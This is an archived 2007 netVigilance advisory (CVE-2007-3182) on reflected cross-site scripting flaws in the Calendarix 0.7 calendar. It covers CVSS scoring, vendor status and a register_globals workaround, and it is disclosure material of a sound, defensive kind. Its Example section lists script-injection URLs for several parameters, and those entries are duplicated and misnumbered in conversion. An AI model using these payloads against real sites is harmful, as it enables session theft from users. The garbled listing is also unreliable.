netVigilance Vulnerability intelligence since 2004

Archived document Original netVigilance advisory, published June 25 2007. Preserved as published — the advisory text and version numbers are unchanged; it is shown here converted from the original HTML page.

advisory0037 · CVE-2007-3182 · published 2007-06-25

Calendarix version 0.7. 20070307 Multiple XSS Attacks

archived risk: medium

Current status

This advisory describes a vulnerability from 2007. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.

CVE reference CVE-2007-3182
In KEV catalog no
Affected software Calendarix version 0.7. 20070307
Captured from netvigilance.com

Original document

Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.

converted from html as published 2007-06-25
Description:

Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind. It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps.

Successful exploitation requires PHP register_globals set to On for the first and second vulnerabilities.

External References:
Mitre CVE: CVE-2007-3182
NVD NIST: CVE-2007-3182
OSVDB: 35372
BUGTRAQ/BID: 24626

Summary:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.
Security problem in the product allows attackers to conduct XSS attacks.

Release Date:
June 25 2007

Severity:
Risk: Medium

CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Normal
CVSS Base Score: 5.6

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: XSS Attack

SecureScout Testcase ID:
TC 17965

Vulnerable Systems:
Calendarix version 0.7. 20070307

Vulnerability Type:
XSS (Cross-Site Scripting) to force a web-site to display malicious contents to the target, by sending a specially crafted request to the web-site. The vulnerable web-site is not the target of attack but is used as a tool for the hacker in the attack of the victim.

Vendor:
Vincent Hor (Calendarix Enterprise)

Vendor Status:
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time.

Workaround:
In the php.ini file set register_globals = Off.

Example:

XSS Attack Vulnerability 1: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?year=<script>alert(document.cookies)</script> REPLY: will execute <script>alert(document.cookie)</script> XSS Attack Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month="><script>alert(document.cookies)</script> REPLY: will execute =<script>alert(document.cookie)</script> XSS Attack Vulnerability 3: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/yearcal.php?ycyear=<script>alert(document.cookies)</script> REPLY: will execute =<script>alert(document.cookie)</script> XSS Attack Vulnerability 4:

REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?year=<script>alert(document.cookies)</script>

REPLY:
will execute <script>alert(document.cookie)</script> XSS Attack Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month="><script>alert(document.cookies)</script> REPLY: will execute =<script>alert(document.cookie)</script> XSS Attack Vulnerability 3: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/yearcal.php?ycyear=<script>alert(document.cookies)</script> REPLY: will execute =<script>alert(document.cookie)</script> XSS Attack Vulnerability 4: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/cal_footer.inc.php?leftfooter=<script>alert(document.cookies)</script> REPLY: will execute =<script>alert(document.cookie)</script>

Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
Original URL: /advisory0037.html · preserved at the same address

Why this page still exists

Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.